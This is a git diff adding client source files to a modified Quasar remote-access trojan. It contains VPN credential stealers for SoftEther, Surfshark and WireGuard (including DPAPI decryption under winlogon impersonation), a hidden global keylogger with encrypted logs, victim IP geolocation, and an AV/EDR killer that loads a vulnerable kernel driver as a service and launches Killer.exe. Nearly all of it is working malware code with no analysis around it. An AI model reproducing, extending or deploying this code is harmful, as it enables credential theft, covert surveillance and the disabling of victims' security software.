b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SoftEther.cs new file mode 100755 index 0000000..b415805 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SoftEther.cs @@ -0,0 +1,52 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class SoftEther : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "SoftEther VPN Client"); + if (!Directory.Exists(text)) + { + return; + } + string path = "SoftEther"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "SoftEther VPN"; + string text2 = Path.Combine(text, "vpn_client.config"); + if (File.Exists(text2)) + { + try + { + string text3 = Path.Combine("Vpn", path, "vpn_client.config"); + zip.AddFile(text3, File.ReadAllBytes(text2)); + counterApplications.Files.Add(text2 + " => " + text3); + } + catch + { + } + } + string[] files = Directory.GetFiles(text, "*.vpn", SearchOption.TopDirectoryOnly); + foreach (string text4 in files) + { + try + { + string fileName = Path.GetFileName(text4); + string text5 = Path.Combine("Vpn", path, fileName); + zip.AddFile(text5, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text5); + } + catch + { + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add(Path.Combine("Vpn", path)); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SurfShark.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SurfShark.cs new file mode 100755 index 0000000..04b8bbf --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SurfShark.cs @@ -0,0 +1,37 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class SurfShark : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Surfshark"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Surfshark"; + string[] array = new string[4] { "data.dat", "settings.dat", "settings-log.dat", "private_settings.dat" }; + foreach (string path in array) + { + try + { + string path2 = Path.Combine(text, path); + if (File.Exists(path2)) + { + zip.AddFile(Path.Combine("Surfshark", path), File.ReadAllBytes(path2)); + } + } + catch + { + } + } + counterApplications.Files.Add(text + " => Surfshark"); + counterApplications.Files.Add("Surfshark\\"); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/WireGuard.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/WireGuard.cs new file mode 100755 index 0000000..bc05e7d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/WireGuard.cs @@ -0,0 +1,52 @@ +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Vpn; + +public class WireGuard : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Program Files\\WireGuard\\Data\\Configurations"; + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "WireGuard"; + try + { + using (ImpersonationHelper.ImpersonateWinlogon()) + { + Parallel.ForEach(Directory.GetFiles(text), delegate(string file) + { + try + { + string extension = Path.GetExtension(file); + if (extension == ".dpapi") + { + byte[] content = DpApi.Decrypt(File.ReadAllBytes(file)); + zip.AddFile("WireGuard\\" + Path.GetFileNameWithoutExtension(file), content); + } + else if (extension == ".conf") + { + zip.AddFile("WireGuard\\" + Path.GetFileNameWithoutExtension(file) + ".conf", File.ReadAllBytes(file)); + } + } + catch + { + } + }); + } + } + catch + { + } + counterApplications.Files.Add(text + " => WireGuard"); + counterApplications.Files.Add("WireGuard\\"); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets/ITarget.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets/ITarget.cs new file mode 100755 index 0000000..eb355a4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets/ITarget.cs @@ -0,0 +1,8 @@ +using Intelix.Helper.Data; + +namespace Intelix.Targets; + +public interface ITarget +{ + void Collect(InMemoryZip zip, Counter counter); +} diff --git a/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformation.cs b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformation.cs new file mode 100755 index 0000000..f2f40a8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformation.cs @@ -0,0 +1,16 @@ +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Stores the IP geolocation information. + /// + public class GeoInformation + { + public string IpAddress { get; set; } + public string Country { get; set; } + public string CountryCode { get; set; } + public string Timezone { get; set; } + public string Asn { get; set; } + public string Isp { get; set; } + public int ImageIndex { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs new file mode 100755 index 0000000..3af63ce --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs @@ -0,0 +1,47 @@ +using System; + +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Factory to retrieve and cache the last IP geolocation information for minutes. + /// + public static class GeoInformationFactory + { + /// + /// Retriever used to get geolocation information about the WAN IP address. + /// + private static readonly GeoInformationRetriever Retriever = new GeoInformationRetriever(); + + /// + /// Used to cache the latest IP geolocation information. + /// + private static GeoInformation _geoInformation; + + /// + /// Time of the last successful location retrieval. + /// + private static DateTime _lastSuccessfulLocation = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc); + + /// + /// The minimum amount of minutes a successful IP geolocation retrieval is valid. + /// + private const int MINIMUM_VALID_TIME = 60 * 12; + + /// + /// Gets the IP geolocation information, either cached or freshly retrieved if more than minutes have passed. + /// + /// The latest IP geolocation information. + public static GeoInformation GetGeoInformation() + { + var passedTime = new TimeSpan(DateTime.UtcNow.Ticks - _lastSuccessfulLocation.Ticks); + + if (_geoInformation == null || passedTime.TotalMinutes > MINIMUM_VALID_TIME) + { + _geoInformation = Retriever.Retrieve(); + _lastSuccessfulLocation = DateTime.UtcNow; + } + + return _geoInformation; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs new file mode 100755 index 0000000..bb44f14 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs @@ -0,0 +1,174 @@ +using Quasar.Client.Helper; +using System.Globalization; +using System.IO; +using System.Net; + +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Class to retrieve the IP geolocation information. + /// + public class GeoInformationRetriever + { + /// + /// List of all available flag images on the server side. + /// + private readonly string[] _imageList = + { + "ad", "ae", "af", "ag", "ai", "al", + "am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba", + "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", + "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc", + "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr", + "cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", + "dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et", + "europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga", + "gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq", + "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht", + "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm", + "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw", + "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu", + "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm", + "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx", + "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np", + "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl", + "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs", + "ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh", + "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy", + "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn", + "to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy", + "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf", + "ws", "ye", "yt", "za", "zm", "zw" + }; + + /// + /// Retrieves the IP geolocation information. + /// + /// The retrieved IP geolocation information. + public GeoInformation Retrieve() + { + var geo = TryRetrieveOnline() ?? TryRetrieveLocally(); + + if (string.IsNullOrEmpty(geo.IpAddress)) + geo.IpAddress = TryGetWanIp(); + + geo.IpAddress = (string.IsNullOrEmpty(geo.IpAddress)) ? "Unknown" : geo.IpAddress; + geo.Country = (string.IsNullOrEmpty(geo.Country)) ? "Unknown" : geo.Country; + geo.CountryCode = (string.IsNullOrEmpty(geo.CountryCode)) ? "-" : geo.CountryCode; + geo.Timezone = (string.IsNullOrEmpty(geo.Timezone)) ? "Unknown" : geo.Timezone; + geo.Asn = (string.IsNullOrEmpty(geo.Asn)) ? "Unknown" : geo.Asn; + geo.Isp = (string.IsNullOrEmpty(geo.Isp)) ? "Unknown" : geo.Isp; + + geo.ImageIndex = 0; + for (int i = 0; i < _imageList.Length; i++) + { + if (_imageList[i] == geo.CountryCode.ToLower()) + { + geo.ImageIndex = i; + break; + } + } + if (geo.ImageIndex == 0) geo.ImageIndex = 247; // question icon + + return geo; + } + + /// + /// Tries to retrieve the geolocation information online. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveOnline() + { + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ipwho.is/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 10000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + var geoInfo = JsonHelper.Deserialize(dataStream); + + GeoInformation g = new GeoInformation + { + IpAddress = geoInfo.Ip, + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + Timezone = geoInfo.Timezone.UTC, + Asn = geoInfo.Connection.ASN.ToString(), + Isp = geoInfo.Connection.ISP + }; + + return g; + } + } + } + catch + { + return null; + } + } + + /// + /// Tries to retrieve the geolocation information locally. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveLocally() + { + try + { + GeoInformation g = new GeoInformation(); + + // use local information + var cultureInfo = CultureInfo.CurrentUICulture; + var region = new RegionInfo(cultureInfo.LCID); + + g.Country = region.DisplayName; + g.CountryCode = region.TwoLetterISORegionName; + g.Timezone = DateTimeHelper.GetLocalTimeZone(); + + return g; + } + catch + { + return null; + } + } + + /// + /// Tries to retrieves the WAN IP. + /// + /// The WAN IP as string if successful, otherwise null. + private string TryGetWanIp() + { + string wanIp = ""; + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 5000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + using (StreamReader reader = new StreamReader(dataStream)) + { + wanIp = reader.ReadToEnd(); + } + } + } + } + catch + { + } + + return wanIp; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoResponse.cs b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoResponse.cs new file mode 100755 index 0000000..6fda684 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoResponse.cs @@ -0,0 +1,45 @@ +using System.Runtime.Serialization; + +namespace Quasar.Client.IpGeoLocation +{ + [DataContract] + public class GeoResponse + { + [DataMember(Name = "ip")] + public string Ip { get; set; } + + [DataMember(Name = "continent_code")] + public string ContinentCode { get; set; } + + [DataMember(Name = "country")] + public string Country { get; set; } + + [DataMember(Name = "country_code")] + public string CountryCode { get; set; } + + [DataMember(Name = "timezone")] + public Time Timezone { get; set; } + + [DataMember(Name = "connection")] + public Conn Connection { get; set; } + + } + + + + [DataContract] + public class Time + { + [DataMember(Name = "utc")] + public string UTC { get; set; } + } + [DataContract] + public class Conn + { + [DataMember(Name = "asn")] + public string ASN { get; set; } + + [DataMember(Name = "isp")] + public string ISP { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Logging/Keylogger.cs b/Quasar-1.4.1/Quasar.Client/Logging/Keylogger.cs new file mode 100755 index 0000000..c8cccd5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Logging/Keylogger.cs @@ -0,0 +1,380 @@ +using Gma.System.MouseKeyHook; +using Quasar.Client.Config; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Globalization; +using System.IO; +using System.Text; +using System.Web; +using System.Windows.Forms; +using Timer = System.Timers.Timer; + +namespace Quasar.Client.Logging +{ + /// + /// This class provides keylogging functionality and modifies/highlights the output for + /// better user experience. + /// + public class Keylogger : IDisposable + { + /// + /// True if the class has already been disposed, else false. + /// + public bool IsDisposed { get; private set; } + + /// + /// The timer used to periodically flush the from memory to disk. + /// + private readonly Timer _timerFlush; + + /// + /// The buffer used to store the logged keys in memory. + /// + private readonly StringBuilder _logFileBuffer = new StringBuilder(); + + /// + /// Temporary list of pressed keys while they are being processed. + /// + private readonly List _pressedKeys = new List(); + + /// + /// Temporary list of pressed keys chars while they are being processed. + /// + private readonly List _pressedKeyChars = new List(); + + /// + /// Saves the last window title of an application. + /// + private string _lastWindowTitle = string.Empty; + + /// + /// Determines if special keys should be ignored for processing, e.g. when a modifier key is pressed. + /// + private bool _ignoreSpecialKeys; + + /// + /// Used to hook global mouse and keyboard events. + /// + private readonly IKeyboardMouseEvents _mEvents; + + /// + /// Provides encryption and decryption methods to securely store log files. + /// + private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY); + + /// + /// The maximum size of a single log file. + /// + private readonly long _maxLogFileSize; + + /// + /// Initializes a new instance of that provides keylogging functionality. + /// + /// The interval to flush the buffer from memory to disk. + /// The maximum size of a single log file. + public Keylogger(double flushInterval, long maxLogFileSize) + { + _maxLogFileSize = maxLogFileSize; + _mEvents = Hook.GlobalEvents(); + _timerFlush = new Timer { Interval = flushInterval }; + _timerFlush.Elapsed += TimerElapsed; + } + + /// + /// Begins logging of keys. + /// + public void Start() + { + Subscribe(); + _timerFlush.Start(); + } + + /// + /// Disposes used resources by this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (IsDisposed) + return; + + if (disposing) + { + Unsubscribe(); + _timerFlush.Stop(); + _timerFlush.Dispose(); + _mEvents.Dispose(); + WriteFile(); + } + + IsDisposed = true; + } + + /// + /// Subscribes to all key events. + /// + private void Subscribe() + { + _mEvents.KeyDown += OnKeyDown; + _mEvents.KeyUp += OnKeyUp; + _mEvents.KeyPress += OnKeyPress; + } + + /// + /// Unsubscribes from all key events. + /// + private void Unsubscribe() + { + _mEvents.KeyDown -= OnKeyDown; + _mEvents.KeyUp -= OnKeyUp; + _mEvents.KeyPress -= OnKeyPress; + } + + /// + /// Initial handling of the key down events and updates the window title. + /// + /// The sender of the event. + /// The key event args, e.g. the keycode. + /// This event handler is called first. + private void OnKeyDown(object sender, KeyEventArgs e) + { + string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle(); + if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) + { + _lastWindowTitle = activeWindowTitle; + _logFileBuffer.Append(@"



[" + + HttpUtility.HtmlEncode(activeWindowTitle) + " - " + + DateTime.UtcNow.ToString("t", DateTimeFormatInfo.InvariantInfo) + + " UTC]


"); + } + + if (_pressedKeys.ContainsModifierKeys()) + { + if (!_pressedKeys.Contains(e.KeyCode)) + { + Debug.WriteLine("OnKeyDown: " + e.KeyCode); + _pressedKeys.Add(e.KeyCode); + return; + } + } + + if (!e.KeyCode.IsExcludedKey()) + { + // The key was not part of the keys that we wish to filter, so + // be sure to prevent a situation where multiple keys are pressed. + if (!_pressedKeys.Contains(e.KeyCode)) + { + Debug.WriteLine("OnKeyDown: " + e.KeyCode); + _pressedKeys.Add(e.KeyCode); + } + } + } + + /// + /// Processes pressed keys and appends them to the . Processing of Unicode characters starts here. + /// + /// The sender of the event. + /// The key press event args, especially the pressed KeyChar. + /// This event handler is called second. + private void OnKeyPress(object sender, KeyPressEventArgs e) + { + if (_pressedKeys.ContainsModifierKeys() && _pressedKeys.ContainsKeyChar(e.KeyChar)) + return; + + if ((!_pressedKeyChars.Contains(e.KeyChar) || !DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar)) + { + var filtered = HttpUtility.HtmlEncode(e.KeyChar.ToString()); + if (!string.IsNullOrEmpty(filtered)) + { + Debug.WriteLine("OnKeyPress Output: " + filtered); + if (_pressedKeys.ContainsModifierKeys()) + _ignoreSpecialKeys = true; + + _pressedKeyChars.Add(e.KeyChar); + _logFileBuffer.Append(filtered); + } + } + } + + /// + /// Finishes processing of the keys. + /// + /// The sender of the event. + /// The key event args. + /// This event handler is called third. + private void OnKeyUp(object sender, KeyEventArgs e) + { + _logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray())); + _pressedKeyChars.Clear(); + } + + /// + /// Finds a held down key char in a given key char list. + /// + /// The list of key chars. + /// The key char to search for. + /// True if the list contains the key char, else false. + private bool DetectKeyHolding(List list, char search) + { + return list.FindAll(s => s.Equals(search)).Count > 1; + } + + /// + /// Adds special highlighting in HTML to the special keys. + /// + /// The input keys. + /// The highlighted special keys. + private string HighlightSpecialKeys(Keys[] keys) + { + if (keys.Length < 1) return string.Empty; + + string[] names = new string[keys.Length]; + for (int i = 0; i < keys.Length; i++) + { + if (!_ignoreSpecialKeys) + { + names[i] = keys[i].GetDisplayName(); + Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]); + } + else + { + names[i] = string.Empty; + _pressedKeys.Remove(keys[i]); + } + } + + _ignoreSpecialKeys = false; + + if (_pressedKeys.ContainsModifierKeys()) + { + StringBuilder specialKeys = new StringBuilder(); + + int validSpecialKeys = 0; + for (int i = 0; i < names.Length; i++) + { + _pressedKeys.Remove(keys[i]); + if (string.IsNullOrEmpty(names[i])) continue; + + specialKeys.AppendFormat((validSpecialKeys == 0) ? @"

[{0}" : " + {0}", names[i]); + validSpecialKeys++; + } + + // If there are items in the special keys string builder, give it an ending tag + if (validSpecialKeys > 0) + specialKeys.Append("]

"); + + Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString()); + return specialKeys.ToString(); + } + + StringBuilder normalKeys = new StringBuilder(); + + for (int i = 0; i < names.Length; i++) + { + _pressedKeys.Remove(keys[i]); + if (string.IsNullOrEmpty(names[i])) continue; + + switch (names[i]) + { + case "Return": + normalKeys.Append(@"

[Enter]


"); + break; + case "Escape": + normalKeys.Append(@"

[Esc]

"); + break; + default: + normalKeys.Append(@"

[" + names[i] + "]

"); + break; + } + } + + Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString()); + return normalKeys.ToString(); + } + + private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e) + { + if (_logFileBuffer.Length > 0) + WriteFile(); + } + + /// + /// Writes the logged keys from memory to disk. + /// + private void WriteFile() + { + // TODO: Add some house-keeping and delete old log entries + bool writeHeader = false; + + string filePath = Path.Combine(Settings.LOGSPATH, DateTime.UtcNow.ToString("yyyy-MM-dd")); + + try + { + DirectoryInfo di = new DirectoryInfo(Settings.LOGSPATH); + + if (!di.Exists) + di.Create(); + + if (Settings.HIDELOGDIRECTORY) + di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; + + int i = 1; + while (File.Exists(filePath)) + { + // Large log files take a very long time to read, decrypt and append new logs to, + // so create a new log file if the size of the previous one exceeds _maxLogFileSize. + long length = new FileInfo(filePath).Length; + if (length < _maxLogFileSize) + { + break; + } + + // append a number to the file name + var newFileName = $"{Path.GetFileName(filePath)}_{i}"; + filePath = Path.Combine(Settings.LOGSPATH, newFileName); + i++; + } + + if (!File.Exists(filePath)) + writeHeader = true; + + StringBuilder logFile = new StringBuilder(); + + if (writeHeader) + { + logFile.Append( + "Log created on " + + DateTime.UtcNow.ToString("f", DateTimeFormatInfo.InvariantInfo) + " UTC

"); + + logFile.Append(""); + + _lastWindowTitle = string.Empty; + } + + if (_logFileBuffer.Length > 0) + { + logFile.Append(_logFileBuffer); + } + + FileHelper.WriteLogFile(filePath, logFile.ToString(), _aesInstance); + + logFile.Clear(); + } + catch + { + } + + _logFileBuffer.Clear(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Logging/KeyloggerService.cs b/Quasar-1.4.1/Quasar.Client/Logging/KeyloggerService.cs new file mode 100755 index 0000000..769546e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Logging/KeyloggerService.cs @@ -0,0 +1,68 @@ +using System; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Logging +{ + /// + /// Provides a service to run the keylogger. + /// + public class KeyloggerService : IDisposable + { + /// + /// The thread containing the executed keylogger and message loop. + /// + private readonly Thread _msgLoopThread; + + /// + /// The message loop which is needed to receive key events. + /// + private ApplicationContext _msgLoop; + + /// + /// Provides keylogging functionality. + /// + private Keylogger _keylogger; + + /// + /// Initializes a new instance of . + /// + public KeyloggerService() + { + _msgLoopThread = new Thread(() => + { + _msgLoop = new ApplicationContext(); + _keylogger = new Keylogger(15000, 5 * 1024 * 1024); + _keylogger.Start(); + Application.Run(_msgLoop); + }); + } + + /// + /// Starts the keylogger and message loop. + /// + public void Start() + { + _msgLoopThread.Start(); + } + + /// + /// Disposes all managed and unmanaged resources associated with this keylogger service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected void Dispose(bool disposing) + { + if (disposing) + { + _keylogger.Dispose(); + _msgLoop.ExitThread(); + _msgLoop.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/AVKillerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/AVKillerHandler.cs new file mode 100755 index 0000000..3b5d6d7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/AVKillerHandler.cs @@ -0,0 +1,635 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class AVKillerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoAVKillerCommand; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoAVKillerCommand cmd: + Execute(sender, cmd); + break; + } + } + + private void Execute(ISender client, DoAVKillerCommand message) + { + try + { + switch (message.Command) + { + case "CHECK_DRIVER": + CheckDriver(client); + break; + case "INSTALL_DRIVER": + InstallDriver(client, message.DriverData); + break; + case "KILL_AVEDR": + KillAVEDR(client, message.KillerData); + break; + case "STOP_KILLER": + StopKiller(client); + break; + case "MAKE_PERSISTENT": + MakePersistent(client); + break; + case "EXCLUDE_CDRIVE": + ExcludeCDrive(client); + break; + } + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $"ERROR: {ex.Message}\n", + IsError = true + }); + } + } + + private void CheckDriver(ISender client) + { + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "sc", + Arguments = "query QuasarDriver", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = false, + RedirectStandardOutput = true, + RedirectStandardError = true, + CreateNoWindow = true + }; + + using (Process process = Process.Start(psi)) + { + string output = process.StandardOutput.ReadToEnd(); + process.WaitForExit(); + + if (process.ExitCode == 0 && output.Contains("QuasarDriver") && output.Contains("RUNNING")) + { + client.Send(new AVKillerResponse + { + Output = "DRIVER:LOADED\n", + IsError = false + }); + } + else + { + client.Send(new AVKillerResponse + { + Output = "DRIVER:NOT_LOADED\n", + IsError = false + }); + } + } + } + catch + { + client.Send(new AVKillerResponse + { + Output = "DRIVER:NOT_LOADED\n", + IsError = false + }); + } + } + + private void InstallDriver(ISender client, byte[] driverData) + { + new Thread(() => + { + try + { + client.Send(new AVKillerResponse + { + Output = ">> Starting driver installation...\n", + IsError = false + }); + + // Generate random directory name + string randomDir = Path.Combine(Path.GetTempPath(), "sys_" + Path.GetRandomFileName().Replace(".", "").Substring(0, 8)); + Directory.CreateDirectory(randomDir); + + string driverPath = Path.Combine(randomDir, "vulndriver.sys"); + File.WriteAllBytes(driverPath, driverData); + + client.Send(new AVKillerResponse + { + Output = $">> Driver saved to: {driverPath}\n", + IsError = false + }); + + // Service name + string serviceName = "QuasarDriver"; + + client.Send(new AVKillerResponse + { + Output = $">> Registering driver as service: {serviceName}\n", + IsError = false + }); + + // Create service + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "sc", + Arguments = $"create {serviceName} binPath= \"{driverPath}\" type= kernel", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = false, + RedirectStandardOutput = true, + RedirectStandardError = true, + CreateNoWindow = true + }; + + using (Process process = Process.Start(psi)) + { + string output = process.StandardOutput.ReadToEnd(); + string error = process.StandardError.ReadToEnd(); + process.WaitForExit(); + + if (!string.IsNullOrEmpty(output)) + { + client.Send(new AVKillerResponse + { + Output = ">> SC CREATE OUTPUT:\n" + output + "\n", + IsError = false + }); + } + + if (!string.IsNullOrEmpty(error)) + { + client.Send(new AVKillerResponse + { + Output = ">> SC CREATE ERROR:\n" + error + "\n", + IsError = true + }); + } + + if (process.ExitCode != 0) + { + client.Send(new AVKillerResponse + { + Output = $">> SC CREATE failed with exit code: {process.ExitCode}\n", + IsError = true + }); + } + } + + // Start service + client.Send(new AVKillerResponse + { + Output = $">> Starting driver service...\n", + IsError = false + }); + + psi.Arguments = $"start {serviceName}"; + using (Process process = Process.Start(psi)) + { + string output = process.StandardOutput.ReadToEnd(); + string error = process.StandardError.ReadToEnd(); + process.WaitForExit(); + + if (!string.IsNullOrEmpty(output)) + { + client.Send(new AVKillerResponse + { + Output = ">> SC START OUTPUT:\n" + output + "\n", + IsError = false + }); + } + + if (!string.IsNullOrEmpty(error)) + { + client.Send(new AVKillerResponse + { + Output = ">> SC START ERROR:\n" + error + "\n", + IsError = true + }); + } + + if (process.ExitCode == 0) + { + client.Send(new AVKillerResponse + { + Output = $">> SUCCESS! Driver installed and started!\n>> Service Name: {serviceName}\n>> Driver Path: {driverPath}\n", + IsError = false + }); + } + else + { + client.Send(new AVKillerResponse + { + Output = $">> Driver start failed with exit code: {process.ExitCode}\n>> This usually means you need administrator privileges\n", + IsError = true + }); + } + } + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $">> EXCEPTION: {ex.Message}\n>> Stack: {ex.StackTrace}\n", + IsError = true + }); + } + }).Start(); + } + + private void KillAVEDR(ISender client, byte[] killerData) + { + new Thread(() => + { + try + { + client.Send(new AVKillerResponse + { + Output = ">> Received KILL_AVEDR command\n", + IsError = false + }); + + // Save Killer.exe to random directory + string randomDir = Path.Combine(Path.GetTempPath(), "kill_" + Path.GetRandomFileName().Replace(".", "").Substring(0, 8)); + Directory.CreateDirectory(randomDir); + + string killerPath = Path.Combine(randomDir, "Killer.exe"); + File.WriteAllBytes(killerPath, killerData); + + client.Send(new AVKillerResponse + { + Output = $">> Killer.exe saved to: {killerPath}\n>> Starting AV/EDR termination...\n", + IsError = false + }); + + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = killerPath, + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = false, + RedirectStandardOutput = true, + RedirectStandardError = true, + CreateNoWindow = true + }; + + using (Process process = new Process()) + { + process.StartInfo = psi; + + client.Send(new AVKillerResponse + { + Output = ">> Launching Killer.exe...\n", + IsError = false + }); + + process.Start(); + + // Read output + Thread outputThread = new Thread(() => + { + try + { + string line; + while ((line = process.StandardOutput.ReadLine()) != null) + { + try + { + client.Send(new AVKillerResponse + { + Output = line + "\n", + IsError = false + }); + } + catch { } + } + } + catch { } + }); + + Thread errorThread = new Thread(() => + { + try + { + string line; + while ((line = process.StandardError.ReadLine()) != null) + { + try + { + client.Send(new AVKillerResponse + { + Output = "[ERROR] " + line + "\n", + IsError = true + }); + } + catch { } + } + } + catch { } + }); + + outputThread.Start(); + errorThread.Start(); + + bool exited = process.WaitForExit(120000); // 2 minute timeout + + 